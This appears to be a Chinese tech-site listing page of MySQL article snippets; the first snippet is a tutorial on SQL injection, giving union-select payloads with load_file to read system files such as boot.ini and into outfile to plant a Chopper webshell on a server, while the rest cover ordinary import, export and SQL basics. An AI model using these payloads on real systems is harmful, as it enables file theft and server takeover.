首页
学习
活动
专区
圈层
工具
发布

利用SQL注入漏洞实现MySQL数据库读写文件

前提必要条件 需要数据库开启secure_file_priv 就是将secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql配置文件mysql.ini...或者叫my.ini配置文件) 需要知道远程目录 需要远程目录有写权限 需要mysql root权限 开启secure_file_priv 参数,操作看动图: 读取文件 读取文件肯定是要知道,文件路径的...,不知道的话就找已公布的中间件配置文件地址等 union select 1,load_file('文件路径') -- bbq 例如读取虚拟机的 boot.ini 文件: union select 1,load_file...('c:\\boot.ini') -- bbq 操作看动图: 写入文件 一般就写一个菜刀之类的小马,然后用用菜刀连接 union select "木马语句",2 into outfile "上传服务器文件路径..." -- bbq 例如:我写入一菜刀一句话小马 文件 到 C:\phpStudy\WWW\123.php 目录下 union select "<?

2K40
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    【MySQL】Mysql数据库导入导出sql文件、备份数据库、迁移数据库

    本文将详细介绍MySQL数据库导入导出SQL文件的方法,包括相关知识讲解、代码示例以及实际应用案例。...一、SQL处理 SQL文件通常包含SQL语句,这些语句用于创建数据库、表、索引、视图等,以及插入数据、更新数据和删除数据等操作。 二、SQL导入导出目的 备份:定期导出数据库,以防数据丢失。...mysql:MySQL的命令行客户端,用于执行SQL语句,包括导入SQL文件。...SQL文件: # 导入整个数据库 mysql -u username -p database_name sql # 导入特定表(需要先创建表结构) mysql -u...> source_database_backup.sql 然后,将备份文件传输到目标服务器,并使用mysql导入: mysql -u username -p target_database_name

    6.9K10

    MySQL 数据库如何使用 Navicat 导出和导入 *.sql 文件

    文章目录 前言 一、转储(导出)数据库 SQL 文件 1.1、选择“转储 SQL 文件” 1.2、选择导出文件存放位置 1.3、查看转储 SQL 文件界面 1.4、查看 SQL 输出文件 1.5、查看输出文件详情信息...二、运行(导入)数据库 SQL 文件 2.1、新建数据库 2.2、运行 SQL 文件 2.3、查看运行SQL文件界面 2.4、查看 SQL 运行文件(为什么我的表导入了没有?)...对于做一些个人辅助软件,选择 MySQL 数据库是个明智的选择,有一个好的工具更是事半功倍。下面我将向大家介绍如何使用 Navicat Premium 导出和导入 *.sql 数据文件。 ?...---- 一、转储(导出)数据库 SQL 文件 说明:转储即导出,运行即导入 SQL 文件,以下不另作说明。...---- 总结 本文我们掌握了 MySQL 数据库如何使用 Navicat 导出和导入 *.sql 文件,其余的 IDE 操作都是类似的。

    21.9K41

    【MySQL】数据库复习——SQL

    SQL之DML语句 3.1 增删改 3.2 单表查询 3.3 多表关联查询 3.4 子查询 3.5 分页排序 3.6 聚合查询 1....准备工作 将SQL文件导入到本地数据库,今日主要设计两张表:wm_channel、wm_news 熟悉业务 2....专业术语 SQL(Struted Query Language): 结构化查询语言,是用来连接和操作RDBMS的标准计算机语言 ER(Entity RelationShip):实体关系图,用来描述业务实体数据之间的关系...三个图形:矩形(实体类型)、椭圆形(属性名)、菱形(关系)、连线(几对几的关系) SQL语言分类: DDL:数据定义语言,一般用来对数据库表进行结构调整的,比如Create、Drop、Alter DML...SQL之DML语句 3.1 增删改 插入一条: 插入一条频道 insert into wm_channel values (9,"Scala","新型编程语言",0,1,9,"2022-06-27 12

    2.1K30

    MySQL导入csv、excel或者sql文件

    1.导入csv文件 使用如下命令: mysql> load data infile "your csv file path" into table [tablename] fields terminated...还有一点需要注意,csv文件或者文本文件的路径要使用绝对路径,否则mysql会默认从数据库存储的目录寻找,找不到就会报如下错误: ERROR 13 (HY000) at line 1: Can't get...直接使用下面的命令: mysql> load data infile "your excel file path" into table [tablename] 注意上面导入文件时,都需要提前建立好与文件内各个段对应好的数据表...3.导入sql文件 无需提前建立好数据表,直接使用source命令: source /home/abc/abc.sql; sql脚本无需双引号括起来。...---- 参考文献 [1]关于将EXCEL文件导入到MYSQL数据库的一些方法 [2]linux命令行下导出导入.sql文件 [3]stackoverflow

    10.1K40

    【MySQL】MySQL 数据库与简单 SQL 语句使用

    前言 本博文专用于软件创新实验室 MySQL 数据库与简单 SQL 语句 课堂,请上课的同学们先自行安装 MySQL,可参考群里发的视频,也可以参考博文MySQL安装教程,在开发这条路上,数据库将会一直陪伴着我们...理解数据库的一种最简单的办法是将其想象为一个文件柜,这个文件柜只是一个存储数据的空间,而数据库就是这么一个空间。...数据库存储容量大 MySQL 数据库的最大有效表尺寸通常是由操作系统对文件大小的限制决定的,而不是由 MySQL 内部限制决定的。...它内置了数据库连接、文件上传等功能,MySQL 支持大量的扩展库,如 MySQLi 等,可以为快速开发 Web 应用提供便利。   SQL 1.什么是SQL?...2.SQL通用语法 1) SQL 语句可以单行或多行书写,以分号结尾。 2) 可使用空格和缩进来增强语句的可读性。 3) MySQL 数据库的 SQL 语句不区分大小写,关键字建议使用大写。

    2.2K20

    mysql命令使用_mysql命令行导出sql文件

    不过,执行一般查询需要大量键盘输入工作,而且确定您目前正在登录的数据库以及快速监测数据库服务器的性能都会变得很单调乏味。...要从根本上消除这个问题,可以使用以下prompt命令来更改MySQL的提示符: mysql>prompt mysql (d)> 执行完该命令后,目前所选择的数据库就会在提示符中显示出来,如下: mysql...(corporate)> 此外,我们也很容易跟丢我们所登录的数据库服务器,更不用说正在使用的帐户了。...,可以将以下的命令添加到.my.cnf 文件中: [mysql] prompt=mysql d> 数据库、用户和主机选项只是很多可选选项的一个很小的部分而已,您可以参阅MySQL的说明文档以获取更多信息...但是,就为了执行一个简单的计数查询就需要不断的登录退出MySQL,显然不是很划算。如果您登录到服务器,您可以创建一个shell别名来实现登录到MySQL服务器、选择适当的数据库和执行计数命令整个过程:

    5.7K20

    SQL笔记(1)——MySQL创建数据库

    在需要批量创建、修改或管理 MySQL 数据库的情况下,使用命令行方式可以比桌面应用更快速、灵活地完成任务,提高工作效率。 可以更好地掌握 MySQL 数据库的安全策略。...下面就是完整的一些过程:结构都是命令+解释+运行效果 连接数据库 mysql -u root -p mysql 是 MySQL 数据库的客户端命令行工具; -u root 指定了登录 MySQL 数据库所使用的用户名为...执行该命令后,MySQL 数据库会将当前会话的操作指向该数据库,此后所有的 SQL 命令都将在该数据库上执行。...Q&A ALTER TABLE关键字 ALTER TABLE 是一个 SQL 语句,它用于修改已存在的关系型数据库中某个表的结构,可以包括添加、修改、删除列等操作。...ADD CONSTRAINT关键字 ADD CONSTRAINT 是用于向关系型数据库表中添加约束(constraint)的 SQL 语句,通常与 ALTER TABLE 命令配合使用。

    4.9K30

    MySQL数据库基础(九):SQL约束

    SQL约束 一、主键约束 PRIMARY KEY 约束唯一标识数据库表中的每条记录。 主键必须包含唯一的值。 主键列不能包含 NULL 值。 每个表都应该有一个主键,并且每个表只能有一个主键。...创建主键约束:创建表时,在字段描述处,声明指定字段为主键 删除主键约束:如需撤销 PRIMARY KEY 约束,请使用下面的 SQL alter table persons2 drop primary...key; 补充:自动增长 我们通常希望在每次插入新记录时,数据库自动生成字段的值。...下面的 SQL 语句强制 "id" 列和 "last_name" 列不接受 NULL 值: 三、唯一约束 UNIQUE 约束唯一标识数据库表中的每条记录。...唯一约束: UNIQUE 约束唯一标识数据库表中的每条记录。 UNIQUE 和 PRIMARY KEY 约束均为列或列集合提供了唯一性的保证。

    87510
    领券